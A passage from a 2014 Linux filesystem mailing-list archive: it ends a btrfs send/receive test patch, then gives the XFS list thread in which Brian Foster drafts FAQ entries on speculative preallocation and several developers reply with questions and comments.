$SCRATCH_MNT/za/zg/zh/zEE/zDD +mv $SCRATCH_MNT/za/zg/zh/zEE/zDD/zf $SCRATCH_MNT/za/zg/zh/zEE/zDD/zFF + +# Filesystem now looks like: +# +# . (ino 256) +# |-- a2/ (ino 257) +# | |-- f2/ (ino 263) +# | | |-- file6 (ino 261) +# | | |-- b3/ (ino 258) +# | | |-- d/ (ino 260) +# | | | |-- file3 (ino 261) +# | | | |-- file8 (ino 285) +# | | | +# | | |-- file2 (ino 262) +# | | |-- file4 (ino 261) +# | | |-- file9 (ino 286) +# | | |-- file10 (ino 286) +# | | | +# | | |-- c3/ (ino 259) +# | | |-- file7 (ino 264) +# | | |-- file11 (ino 287) +# | | +# | |-- x1/ (ino 265) +# | |-- Z/ (ino 267) +# | |-- X33/ (ino 268) +# | |-- x4/ (ino 269) +# | |-- x5/ (ino 270) +# | |-- X22/ (ino 266) +# | +# |-- _a/ (ino 271) +# | |-- _o/ (ino 288) +# | | |-- _FF/ (ino 276) +# | | |-- _E2/ (ino 275) +# | | | |-- _BB/ (ino 272) +# | | | |-- dd/ (ino 274) +# | | | +# | | |-- G2/ (ino 277) +# | |-- C2/ (ino 273) +# | +# |-- za/ (ino 278) +# |-- zb/ (ino 279) +# |-- zg/ (ino 284) +# |-- zh/ (ino 289) +# |-- zEE/ (ino 282) +# |-- zCC/ (ino 280) +# |-- zDD/ (ino 281) +# |-- zFF/ (ino 283) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +_run_btrfs_util_prog send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap + +_run_btrfs_util_prog send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +_check_scratch_fs + +_scratch_unmount +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 + +_check_scratch_fs + +status=0 +exit diff --git a/tests/btrfs/045.out b/tests/btrfs/045.out new file mode 100644 index 0000000..5b0d489 --- /dev/null +++ b/tests/btrfs/045.out @@ -0,0 +1 @@ +QA output created by 045 diff --git a/tests/btrfs/group b/tests/btrfs/group index 4589043..9b41895 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -47,3 +47,4 @@ 042 auto quick 043 auto quick 044 auto quick +045 auto quick -- 1.7.10.4 From bfoster@redhat.com Fri Mar 21 11:29:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 03C467F67 for ; Fri, 21 Mar 2014 11:29:26 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9333CAC007 for ; Fri, 21 Mar 2014 09:29:25 -0700 (PDT) X-ASG-Debug-ID: 1395419364-04bdf05daa7b7110001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id utCRvWzKxP0ugqRD for ; Fri, 21 Mar 2014 09:29:24 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2LGTNTF019534 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 21 Mar 2014 12:29:23 -0400 Received: from laptop.bfoster (vpn-60-19.rdu2.redhat.com [10.10.60.19]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2LGTMRk027370 for ; Fri, 21 Mar 2014 12:29:23 -0400 Received: from laptop.bfoster (localhost.localdomain [127.0.0.1]) by laptop.bfoster (Postfix) with ESMTP id 55825120AF8 for ; Fri, 21 Mar 2014 12:29:22 -0400 (EDT) Received: (from bfoster@localhost) by laptop.bfoster (8.14.7/8.14.7/Submit) id s2LGTLpB007876 for xfs@oss.sgi.com; Fri, 21 Mar 2014 12:29:21 -0400 X-Authentication-Warning: laptop.bfoster: bfoster set sender to bfoster@redhat.com using -f Date: Fri, 21 Mar 2014 12:29:20 -0400 From: Brian Foster To: xfs@oss.sgi.com Subject: [FAQ] XFS speculative preallocation Message-ID: <20140321162920.GA3087@laptop.bfoster> X-ASG-Orig-Subj: [FAQ] XFS speculative preallocation MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395419364 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi all, Eric had suggested we add an FAQ entry for speculative preallocation since it seems to be a common question, so I offered to write something up. I started with a single entry but split it into a couple Q's when it turned into TL;DR fodder. ;) The text is embedded below for review. Thoughts on the questions or content is appreciated. Also, once folks are Ok with this... how does one gain edit access to the wiki? Brian --- Q: Why do files on XFS use more data blocks than expected? A: The XFS speculative preallocation algorithm allocates extra blocks beyond end of file (EOF) to combat fragmentation under parallel sequential write workloads. This post-EOF block allocation is included in 'st_blocks' counts via stat() system calls and is accounted as globally allocated space by the filesystem. This is reported by various userspace utilities (stat, du, df, ls) and thus provides a common source of confusion for administrators. Post-EOF blocks are temporary in most situations and are usually reclaimed via several possible mechanisms in XFS. See the FAQ entry on speculative preallocation for details. Q: What is speculative preallocation? How can I manage it? A: XFS speculatively preallocates post-EOF blocks on file extending writes in anticipation of future extending writes. The size of a preallocation is dynamic and depends on the size of the previous extent in the file (starting from 0 again if the write extends past a hole). As files grow larger, so do the size of preallocations. Speculative preallocation is not enabled for files smaller than a minimum size (64k by default, but can vary depending on filesystem geometry and/or mount options). Preallocations are capped at a maximum of 8GB on 4k block filesystems. Preallocation is throttled automatically as the filesystem approaches low free space conditions or other allocation limits on a file (such as a quota). In most cases, speculative preallocation is automatically reclaimed when a file is closed. The preallocation may persist after file close if an open, write, close pattern is repeated on a file. In this scenario, post-EOF preallocation is trimmed once the inode is reclaimed from cache or the filesystem unmounted. Linux 3.8 (and later) includes a scanner to perform background trimming of files with lingering post-EOF preallocations. The scanner bypasses files that have been recently modified to not interfere with ongoing writes. A 5 minute scan interval is used by default and can be adjusted via the following file (value in seconds): /proc/sys/fs/xfs/speculative_prealloc_lifetime Although speculative preallocation can lead to reports of excess space usage, the preallocated space is not permanent unless explicitly made so via fallocate or a similar interface. Preallocated space can also be encoded permanently in situations where file size is extended beyond a range of post-EOF blocks (i.e., via truncate). Otherwise, preallocated blocks are reclaimed on file close, inode reclaim, unmount or in the background once file write activity subsides. Finally, the XFS block allocation algorithm can be configured to use a fixed allocation size with the 'allocsize=' mount option. Note that speculative preallocation does not occur when a fixed allocation size is set and thus increases the potential for fragmentation via parallel writes. From sgosse@sgi.com Fri Mar 21 11:54:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9B6F17F76 for ; Fri, 21 Mar 2014 11:54:34 -0500 (CDT) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8570930406A; Fri, 21 Mar 2014 09:54:34 -0700 (PDT) Received: from P-EXMB2-DC21.corp.sgi.com ([169.254.2.132]) by pv-excas2-dc21.corp.sgi.com ([137.38.106.9]) with mapi id 14.03.0123.003; Fri, 21 Mar 2014 11:54:34 -0500 From: Shaun Gosse To: Brian Foster , "xfs@oss.sgi.com" Subject: RE: [FAQ] XFS speculative preallocation Thread-Topic: [FAQ] XFS speculative preallocation Thread-Index: AQHPRSK8afI9uR9/hESmv87xWTG+sprrwbKw Date: Fri, 21 Mar 2014 16:54:32 +0000 Message-ID: <8D3FA7645C1CFC4E9E783D22B4C708647306CBB9@P-EXMB2-DC21.corp.sgi.com> References: <20140321162920.GA3087@laptop.bfoster> In-Reply-To: <20140321162920.GA3087@laptop.bfoster> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [134.15.0.75] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Brian, FWIW, from my perspective as a newcomer to XFS that is quite clear and unde= rstandable and informative. Looks like a valuable addition. I've got no idea how to get write access on the wiki personally, but hopefu= lly that answer will arrive for you 'soon(tm)'. Cheers, -Shaun -----Original Message----- From: xfs-bounces@oss.sgi.com [mailto:xfs-bounces@oss.sgi.com] On Behalf Of= Brian Foster Sent: Friday, March 21, 2014 11:29 AM To: xfs@oss.sgi.com Subject: [FAQ] XFS speculative preallocation Hi all, Eric had suggested we add an FAQ entry for speculative preallocation since = it seems to be a common question, so I offered to write something up. I sta= rted with a single entry but split it into a couple Q's when it turned into= TL;DR fodder. ;) The text is embedded below for review. Thoughts on the questions or content= is appreciated. Also, once folks are Ok with this... how does one gain edi= t access to the wiki? Brian --- Q: Why do files on XFS use more data blocks than expected? A: The XFS speculative preallocation algorithm allocates extra blocks beyond e= nd of file (EOF) to combat fragmentation under parallel sequential write wo= rkloads. This post-EOF block allocation is included in 'st_blocks' counts v= ia stat() system calls and is accounted as globally allocated space by the = filesystem. This is reported by various userspace utilities (stat, du, df, = ls) and thus provides a common source of confusion for administrators. Post= -EOF blocks are temporary in most situations and are usually reclaimed via = several possible mechanisms in XFS. See the FAQ entry on speculative preallocation for details. Q: What is speculative preallocation? How can I manage it? A: XFS speculatively preallocates post-EOF blocks on file extending writes in = anticipation of future extending writes. The size of a preallocation is dyn= amic and depends on the size of the previous extent in the file (starting f= rom 0 again if the write extends past a hole). As files grow larger, so do = the size of preallocations. Speculative preallocation is not enabled for fi= les smaller than a minimum size (64k by default, but can vary depending on = filesystem geometry and/or mount options). Preallocations are capped at a maximum of 8GB on 4k block filesystems. Preallocation is throttled automatically as the filesystem approaches low f= ree space conditions or other allocation limits on a file (such as a quota)= . =20 In most cases, speculative preallocation is automatically reclaimed when a = file is closed. The preallocation may persist after file close if an open, = write, close pattern is repeated on a file. In this scenario, post-EOF prea= llocation is trimmed once the inode is reclaimed from cache or the filesyst= em unmounted. Linux 3.8 (and later) includes a scanner to perform background trimming of = files with lingering post-EOF preallocations. The scanner bypasses files th= at have been recently modified to not interfere with ongoing writes. A 5 mi= nute scan interval is used by default and can be adjusted via the following= file (value in seconds): /proc/sys/fs/xfs/speculative_prealloc_lifetime Although speculative preallocation can lead to reports of excess space usag= e, the preallocated space is not permanent unless explicitly made so via fa= llocate or a similar interface. Preallocated space can also be encoded perm= anently in situations where file size is extended beyond a range of post-EO= F blocks (i.e., via truncate). Otherwise, preallocated blocks are reclaimed= on file close, inode reclaim, unmount or in the background once file write= activity subsides. Finally, the XFS block allocation algorithm can be configured to use a fixe= d allocation size with the 'allocsize=3D' mount option. Note that speculati= ve preallocation does not occur when a fixed allocation size is set and thu= s increases the potential for fragmentation via parallel writes. _______________________________________________ xfs mailing list xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs From arekm@maven.pl Fri Mar 21 12:09:13 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 03F697F7B for ; Fri, 21 Mar 2014 12:09:13 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E80718F8039 for ; Fri, 21 Mar 2014 10:09:09 -0700 (PDT) X-ASG-Debug-ID: 1395421746-04cb6c5675776680001-NocioJ Received: from mail-ee0-f48.google.com (mail-ee0-f48.google.com [74.125.83.48]) by cuda.sgi.com with ESMTP id 2We07Ozdkcq5NtaZ (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 21 Mar 2014 10:09:07 -0700 (PDT) X-Barracuda-Envelope-From: arekm@maven.pl X-Barracuda-Apparent-Source-IP: 74.125.83.48 Received: by mail-ee0-f48.google.com with SMTP id b57so2043766eek.7 for ; Fri, 21 Mar 2014 10:09:06 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=maven.pl; s=maven; h=from:to:subject:date:user-agent:references:in-reply-to:mime-version :content-type:content-transfer-encoding:message-id; bh=jAjLJdlnuRxYR6J8gLqhr3jwipbR+xJLLAUxB9mTvW4=; b=QzAsX6BksSKQLNTPXpi9BOzSChRuUgdF699ybLqiDFV5Fhih6tqvu5s25lXlVzYc/B 2xeeZjv9ZPNWsrKn8GZMrPXvzUTbl2bCbTZe08g+/BkIQJubMjjwz8pppAUmuaz4+veS M3x4DyYUcRTB4IahwWhzz4MezwTvJ9mLy1Vsg= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:subject:date:user-agent:references :in-reply-to:mime-version:content-type:content-transfer-encoding :message-id; bh=jAjLJdlnuRxYR6J8gLqhr3jwipbR+xJLLAUxB9mTvW4=; b=eYLi3gX7PN+lqIOmU5pGcGEnmqRcrZgsc7SYMToiMv1KDALlhQTxoFjZKXuJ111Wi8 3tFDqfBqDkeu6sQGiJI6vt3cbnM/+Is/P3t+L9ha1dZavofyh+kQyV3o/3jXUbIdneUY XVfN44BqTGEhPhlrWs1WYVOK5GadjiNexwPWZVU3BxN3qhrb9WZAZO17JyYkIDVShZaa IiMWbLUDjy6jO9nlOs00par3G7nn1SsxPwrI7vW5I/dImU1+komXYVQe1sigT+AJb4de e6hSyu3njqQeHHS1d94qjUEO3EYUUDkL27wfm1Fk3ajtYDBIPSteoUNcnoleePr1mYjS 7sEA== X-Gm-Message-State: ALoCoQk0h9ouWxn363NRHlpuYmw6dYdE4tNQPenKHK5OdVxutNaksCBxJXNhCi4aW9XuP5t15Ob1 X-Received: by 10.15.22.201 with SMTP id f49mr49417807eeu.18.1395421746319; Fri, 21 Mar 2014 10:09:06 -0700 (PDT) Received: from t400.localnet (89-65-189-48.dynamic.chello.pl. [89.65.189.48]) by mx.google.com with ESMTPSA id o4sm12825343eef.20.2014.03.21.10.09.04 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Fri, 21 Mar 2014 10:09:05 -0700 (PDT) From: Arkadiusz =?utf-8?q?Mi=C5=9Bkiewicz?= To: xfs@oss.sgi.com Subject: Re: [FAQ] XFS speculative preallocation Date: Fri, 21 Mar 2014 18:09:03 +0100 X-ASG-Orig-Subj: Re: [FAQ] XFS speculative preallocation User-Agent: KMail/1.13.7 (Linux/3.14.0-rc7-00004-g9f8b483; KDE/4.12.3; x86_64; ; ) References: <20140321162920.GA3087@laptop.bfoster> In-Reply-To: <20140321162920.GA3087@laptop.bfoster> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201403211809.03683.arekm@maven.pl> X-Barracuda-Connect: mail-ee0-f48.google.com[74.125.83.48] X-Barracuda-Start-Time: 1395421747 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4126 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Friday 21 of March 2014, Brian Foster wrote: > Hi all, >=20 > Eric had suggested we add an FAQ entry for speculative preallocation > since it seems to be a common question, so I offered to write something > up. I started with a single entry but split it into a couple Q's when it > turned into TL;DR fodder. ;) >=20 > The text is embedded below for review. Thoughts on the questions or > content is appreciated. Also, once folks are Ok with this... how does > one gain edit access to the wiki? More questions or topics that can be converted to questions from me: 1) Before preallocation kernel did things differently. AFAIK it wasn't the= =20 same as allocsize=3D64k, was it? Is there a way to get old behaviour or=20 something similar to old behaviour? 2) Is there a way to see which file got some preallocation and how big that= =20 preallocation is? Scenario - something ate free space due to preallocation = and=20 from admin point of view it would be usefull to know which app did that and= =20 how many MB was due to preallocation (vs real, written data). > Linux 3.8 (and later) includes a scanner to perform background trimming > of files with lingering post-EOF preallocations. The scanner bypasses > files that have been recently=20 What time is "recently" ? Is "modified" equal to "file data modified" or "f= ile=20 data or metadata modified" ? > modified to not interfere with ongoing > writes. In case of some app that constantly writes to files (apache web server=20 writting to its logs for example) that background trimming will never do=20 anything for these files, right? > A 5 minute scan interval is used by default and can be adjusted > via the following file (value in seconds): >=20 > /proc/sys/fs/xfs/speculative_prealloc_lifetime >=20 > Although speculative preallocation can lead to reports of excess space > usage, the preallocated space is not permanent unless explicitly made so > via fallocate or a similar interface. Preallocated space can also be > encoded permanently in situations where file size is extended beyond a > range of post-EOF blocks (i.e., via truncate). Otherwise, preallocated > blocks are reclaimed on file close, inode reclaim, unmount or in the > background once file write activity subsides. So there is no mechanism that would shirnk preallocations in case when free= =20 space is (almost or) gone on a fs? Case: apache causes xfs to preallocate=20 several GB for its /var/..../{access,error}_log (common problem here) and t= hen=20 free space ends on that fs causing problems for every app that writes to /v= ar. Thanks! =2D-=20 Arkadiusz Mi=C5=9Bkiewicz, arekm / maven.pl From bfoster@redhat.com Fri Mar 21 13:03:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 91E5E7F7D for ; Fri, 21 Mar 2014 13:03:25 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 856428F804C for ; Fri, 21 Mar 2014 11:03:22 -0700 (PDT) X-ASG-Debug-ID: 1395424998-04cbb054b95869e0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id VWilMrtIqbnd23UR for ; Fri, 21 Mar 2014 11:03:18 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2LI2iOq013041 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 21 Mar 2014 14:02:44 -0400 Received: from laptop.bfoster (vpn-60-19.rdu2.redhat.com [10.10.60.19]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2LI2ihn006457; Fri, 21 Mar 2014 14:02:44 -0400 Received: from laptop.bfoster (localhost.localdomain [127.0.0.1]) by laptop.bfoster (Postfix) with ESMTP id C1F62120AF8; Fri, 21 Mar 2014 14:02:43 -0400 (EDT) Received: (from bfoster@localhost) by laptop.bfoster (8.14.7/8.14.7/Submit) id s2LI2gA5008258; Fri, 21 Mar 2014 14:02:42 -0400 X-Authentication-Warning: laptop.bfoster: bfoster set sender to bfoster@redhat.com using -f Date: Fri, 21 Mar 2014 14:02:41 -0400 From: Brian Foster To: Arkadiusz =?utf-8?Q?Mi=C5=9Bkiewicz?= Cc: xfs@oss.sgi.com Subject: Re: [FAQ] XFS speculative preallocation Message-ID: <20140321180241.GB3087@laptop.bfoster> X-ASG-Orig-Subj: Re: [FAQ] XFS speculative preallocation References: <20140321162920.GA3087@laptop.bfoster> <201403211809.03683.arekm@maven.pl> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <201403211809.03683.arekm@maven.pl> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395424998 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Mar 21, 2014 at 06:09:03PM +0100, Arkadiusz Miśkiewicz wrote: > On Friday 21 of March 2014, Brian Foster wrote: > > Hi all, > > > > Eric had suggested we add an FAQ entry for speculative preallocation > > since it seems to be a common question, so I offered to write something > > up. I started with a single entry but split it into a couple Q's when it > > turned into TL;DR fodder. ;) > > > > The text is embedded below for review. Thoughts on the questions or > > content is appreciated. Also, once folks are Ok with this... how does > > one gain edit access to the wiki? > > More questions or topics that can be converted to questions from me: > > 1) Before preallocation kernel did things differently. AFAIK it wasn't the > same as allocsize=64k, was it? Is there a way to get old behaviour or > something similar to old behaviour? > Going from the commit log that introduced speculative preallocation, it appears that the behavior was effectively allocsize=64k. For reference: 055388a3 xfs: dynamic speculative EOF preallocation > 2) Is there a way to see which file got some preallocation and how big that > preallocation is? Scenario - something ate free space due to preallocation and > from admin point of view it would be usefull to know which app did that and > how many MB was due to preallocation (vs real, written data). > The common scenario is when du/stat reports a larger block usage than file size, so the question of how much extra space is allocated is just the difference between the two. I suppose we could include a simple example of that in the first Q. This isn't necessarily true in the case of sparse files. xfs_bmap prints the extent information for a file, so it should be possible to determine how much post-EOF space exists from looking at the extent that covers EOF. That said, this strikes me as more "user guide" material than FAQ. > > Linux 3.8 (and later) includes a scanner to perform background trimming > > of files with lingering post-EOF preallocations. The scanner bypasses > > files that have been recently > > What time is "recently" ? Is "modified" equal to "file data modified" or "file > data or metadata modified" ? > I originally had something like "files that have not been modified since last flushed to disk," which is the heuristic as I understand it. That seemed too verbose and technical for FAQ. I could replace "recently modified" with "... bypasses files that are dirty ..." if that is more useful..? > > modified to not interfere with ongoing > > writes. > > In case of some app that constantly writes to files (apache web server > writting to its logs for example) that background trimming will never do > anything for these files, right? > Most likely true. Though by the same logic, those files will eventually use the preallocated space. > > A 5 minute scan interval is used by default and can be adjusted > > via the following file (value in seconds): > > > > /proc/sys/fs/xfs/speculative_prealloc_lifetime > > > > Although speculative preallocation can lead to reports of excess space > > usage, the preallocated space is not permanent unless explicitly made so > > via fallocate or a similar interface. Preallocated space can also be > > encoded permanently in situations where file size is extended beyond a > > range of post-EOF blocks (i.e., via truncate). Otherwise, preallocated > > blocks are reclaimed on file close, inode reclaim, unmount or in the > > background once file write activity subsides. > > So there is no mechanism that would shirnk preallocations in case when free > space is (almost or) gone on a fs? Case: apache causes xfs to preallocate > several GB for its /var/..../{access,error}_log (common problem here) and then > free space ends on that fs causing problems for every app that writes to /var. > I noted in the second answer that the preallocation is throttled as we near allocation limits such as no free space or quota. I think that should cover most cases. I still have some code lying around somewhere that forces a scan and retry in EDQUOT scenarios though. I should dust that off... Thanks for the reviews! Brian > Thanks! > > -- > Arkadiusz Miśkiewicz, arekm / maven.pl > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From fw@deneb.enyo.de Fri Mar 21 15:11:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1B0DD7F81 for ; Fri, 21 Mar 2014 15:11:40 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 02A7B30407F for ; Fri, 21 Mar 2014 13:11:36 -0700 (PDT) X-ASG-Debug-ID: 1395432691-04cbb054b958f130001-NocioJ Received: from albireo.enyo.de (albireo.enyo.de [46.237.207.196]) by cuda.sgi.com with ESMTP id VnrTex9cWMXR1iCL (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Fri, 21 Mar 2014 13:11:32 -0700 (PDT) X-Barracuda-Envelope-From: fw@deneb.enyo.de X-Barracuda-Apparent-Source-IP: 46.237.207.196 Received: from [172.17.203.2] (helo=deneb.enyo.de) by albireo.enyo.de with esmtps (TLS1.2:DHE_RSA_AES_128_CBC_SHA1:128) id 1WR5n8-0007cC-Pq; Fri, 21 Mar 2014 21:11:46 +0100 Received: from fw by deneb.enyo.de with local (Exim 4.80) (envelope-from ) id 1WR5mr-0005pn-R3; Fri, 21 Mar 2014 21:11:29 +0100 From: Florian Weimer To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [FAQ] XFS speculative preallocation References: <20140321162920.GA3087@laptop.bfoster> X-ASG-Orig-Subj: Re: [FAQ] XFS speculative preallocation Date: Fri, 21 Mar 2014 21:11:29 +0100 In-Reply-To: <20140321162920.GA3087@laptop.bfoster> (Brian Foster's message of "Fri, 21 Mar 2014 12:29:20 -0400") Message-ID: <87eh1vuxam.fsf@mid.deneb.enyo.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Barracuda-Connect: albireo.enyo.de[46.237.207.196] X-Barracuda-Start-Time: 1395432692 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4130 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- * Brian Foster: > Although speculative preallocation can lead to reports of excess space > usage, the preallocated space is not permanent unless explicitly made so > via fallocate or a similar interface. How does an explicit allocation with posix_fallocate interact with speculative preallocation? Does it disable it? I see rather dramatic fragmentation of the systemd journal when it is stored on XFS, and it calls posix_fallocate before writing data to the file. From david@fromorbit.com Fri Mar 21 18:06:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8C73B7F83 for ; Fri, 21 Mar 2014 18:06:33 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2AFACAC001 for ; Fri, 21 Mar 2014 16:06:29 -0700 (PDT) X-ASG-Debug-ID: 1395443186-04cb6c567878e170001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id Ukf4tDX7YHGH70sj for ; Fri, 21 Mar 2014 16:06:27 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvFJAK3FLFN5LMWSPGdsb2JhbABZgwaDR4UMtT+FYoEYFwMBAQEBODWCJQEBAQMBOhwWCgMFCwgDDgoJDBkPBSUDBxoTh3EHz1IXFo4HTQcKgxqBFASYSJVzKYEsAR8E Received: from ppp121-44-197-146.lns20.syd7.internode.on.net (HELO dastard) ([121.44.197.146]) by ipmail06.adl6.internode.on.net with ESMTP; 22 Mar 2014 09:35:59 